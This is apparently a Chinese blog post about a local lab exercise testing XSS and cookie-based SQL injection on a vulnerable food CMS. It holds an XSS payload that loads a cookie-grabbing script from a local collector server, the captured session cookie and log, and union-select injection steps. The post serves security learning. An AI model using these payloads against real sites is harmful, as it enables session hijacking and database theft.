在本地搭建一个存在漏洞的网站,验证xss漏洞和SQL注入的利用方法。

使用phpStudy工具搭建一个美食CMS网站平台。

0x01  xss测试

打开调试模式,定位姓名栏输入框:

尝试在value中插入xss攻击代码:

123"><script>alert(document.cookie);</script></td><td>

点击更新,成功弹出该网站登录后的cookie信息。说明这个输入框没有对<script>标签进行过滤。

如果希望将这个cookie发到自己的xss平台,可以构造如下输入:

" /></td><script src=\"http://127.0.0.1:9999/static/get.js\"></script><td>

http://127.0.0.1:9999/static/get.js为本地xss平台中获取cookie等信息的代码。

可以在本地看到如下信息:包括cookie,user_agent,ipaddress等信息。

id: 2J1h
location: http://www.xdcms.com/index.php?m=member&f=edit
toplocation: http://www.xdcms.com/index.php?m=member&f=edit
cookie: PHPSESSID=7urapqfnc9cchs31lfu38u0pi4; member_user=xdcms; member_userid=3
opener:
http_user_agent Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.100 Safari/537.36
http_addr 127.0.0.1
[30/Oct/2017 16:04:36] "GET /?do=api&id=2J1h&location=http%3A//www.xdcms.com/index.php%3Fm%3Dmember%26f%3Dedit&toplocation=http%3A//www.xdcms.com/index.php%3Fm%3Dmember%26f%3Dedit&cookie=PHPSESSID%3D7urapqfnc9cchs31lfu38u0pi4%3B%20member_user%3Dxdcms%
3B%20member_userid%3D3&opener= HTTP/1.1" 200 3

查看后台数据库,发现该段代码被写入了数据库,不知道是否算存储型xss???总之,这样每次刷新页面时,都会向xss平台发送cookie信息。

0x02 sql注入测试

走读后台php的代码,发现该输入界面与mysql的交互语句:

输入参数$userid来自cookie的member_userid参数,因此这里采用cookie注入的方法。

下载一个cookie修改插件,修改member_userid

member_userid=1的时候,姓名为test,可见可以通过修改这个cookie值读取数据库。

使用union select尝试获取更多数据库信息。

测试发现member_userid=4的时候,姓名电话为空,说明数据库只有3条记录;

union select 1,2,……时,出现如下报错:

have a different number of columns,说明union select的列数与表的列数不相等,尝试发现到15的时候才不出现报错:

从该显示可以看出,用户名,手机号码,姓名,安全邮箱,联系地址分别为表的第3,13,12,15,14列。可以在这些地方输出数据库信息。

xss和sql注入学习1的更多相关文章

  1. 总结了关于PHP xss 和 SQL 注入的问题(转)

    漏洞无非这么几类,XSS.sql注入.命令执行.上传漏洞.本地包含.远程包含.权限绕过.信息泄露.cookie伪造.CSRF(跨站请求)等.这些漏洞不仅仅是针对PHP语言的,本文只是简单介绍PHP如何 ...

  2. 关于PHP xss 和 SQL 注入的问题

    漏洞无非这么几类,XSS.sql注入.命令执行.上传漏洞.本地包含.远程包含.权限绕过.信息泄露.cookie伪造.CSRF(跨站请求)等.这些漏洞不仅仅是针对PHP语言的,PHP如何有效防止这些漏洞 ...

  3. Web攻防之XSS,CSRF,SQL注入

    摘要:对Web服务器的攻击也可以说是形形色色.种类繁多,常见的有挂马.SQL注入.缓冲区溢出.嗅探.利用IIS等针对Webserver漏洞进行攻击.本文结合WEB TOP10漏洞中常见的SQL注入,跨 ...

  4. DFX 安全测试-- 告诉你什么是XSS、sql注入?POST和GET的区别....

    1.用户权限测试 (1) 用户权限控制 1) 用户权限控制主要是对一些有权限控制的功能进行验证 2) 用户A才能进行的操作,B是否能够进行操作(可通过窜session,将在下面介绍) 3)只能有A条件 ...

  5. XSS攻击&SQL注入攻击&CSRF攻击?

    - XSS(Cross Site Script,跨站脚本攻击)是向网页中注入恶意脚本在用户浏览网页时在用户浏览器中执行恶意脚本的攻击方式.跨站脚本攻击分有两种形式:反射型攻击(诱使用户点击一个嵌入恶意 ...

  6. Spring MVC 如何防止XSS、SQL注入攻击

    在Web项目中,通常需要处理XSS,SQL注入攻击,解决这个问题有两个思路: 在数据进入数据库之前对非法字符进行转义,在更新和显示的时候将非法字符还原 在显示的时候对非法字符进行转义 如果项目还处在起 ...

  7. 常见的 CSRF、XSS、sql注入、DDOS流量攻击

    CSRF攻击 :跨站请求伪造攻击 ,CSRF全名是Cross-site request forgery,是一种对网站的恶意利用,CSRF比XSS更具危险性 攻击者一般会使用吸引人的图片去引导用户点击进 ...

  8. SQL注入学习资料总结

    转载自:https://bbs.ichunqiu.com/thread-12105-1-1.html  什么是SQL注入 SQL注入基本介绍 结构化查询语言(Structured Query Lang ...

  9. sql注入学习笔记,什么是sql注入,如何预防sql注入,如何寻找sql注入漏洞,如何注入sql攻击 (原)

    (整篇文章废话很多,但其实是为了新手能更好的了解这个sql注入是什么,需要学习的是文章最后关于如何预防sql注入) (整篇文章废话很多,但其实是为了新手能更好的了解这个sql注入是什么,需要学习的是文 ...

随机推荐

  1. #《Essential C++》读书笔记# 第六章 以template进行编程

    练习题答案 练习6.1 试改写以下类,使它成为一个class template: class example { public: example(double min, double max); ex ...

  2. JS中变量、作用域的本质,定义及使用方法

    全局作用域和局部作用域 全局作用域 局部作用域:函数作用域 全局作用域在全局和局部都可以访问到,局部作用域只能在局部被访问到 var name="cyy"; function fn ...

  3. LeetCode 面试题18. 删除链表的节点

    题目链接:https://leetcode-cn.com/problems/shan-chu-lian-biao-de-jie-dian-lcof/ 给定单向链表的头指针和一个要删除的节点的值,定义一 ...

  4. Dart中类的getter和setter

    Dart类Getters和Setter Getters和Setter(也称为访问器和更改器)允许程序分别初始化和检索类字段的值. 使用get关键字定义getter或访问器.Setter或存取器是使用s ...

  5. js Dom为页面中的元素绑定键盘或鼠标事件

    html鼠标事件 onload 页面加载 onclick 鼠标单击 onmouseover 鼠标移入 onmouseout 鼠标移出 onfocus 获取焦点 onblur 失去焦点 onchange ...

  6. JavaScript的语法、数据类型、基本算数和逻辑运算操作

    str.toString() 可以把字符串.数值.布尔值.对象转为字符串 String(str) 任何数值强制转换为字符串类型 <!DOCTYPE html> <html lang= ...

  7. centos7系统中忘记了root管理员账号密码的解决方式

    随着计算机的使用越来越普遍,现在的用户都会有多个密码,不是这软件的密码就是那个的,QQ.邮箱.游戏,还有系统的登录密码!每一个密码都不一样!所以越来越多的密码需要去记住!也因为这样,只要其中一个长时间 ...

  8. 监控自己的电脑浏览器访问记录并生成csv格式

    #!usr/bin/env python #-*- coding:utf-8 _*- """ @author:lenovo @file: 获取浏览器历史记录.py @ti ...

  9. IDEA 在debug模式下启动慢或者无法启动解决

    参考:https://www.cnblogs.com/han-1034683568/p/8603588.html 背景 这两天在开发项目的时候发现用debug模式启动项目的时候,项目启动速度非常慢甚至 ...

  10. 安装Gitlab到Ubuntu(APT)

    运行环境 系统版本:Ubuntu 16.04.6 LTS 软件版本:Gitlab-ce-11.10.1 硬件要求:最低2核4GB,建议4核8GB 安装过程 1.安装依赖 root@localhost: ...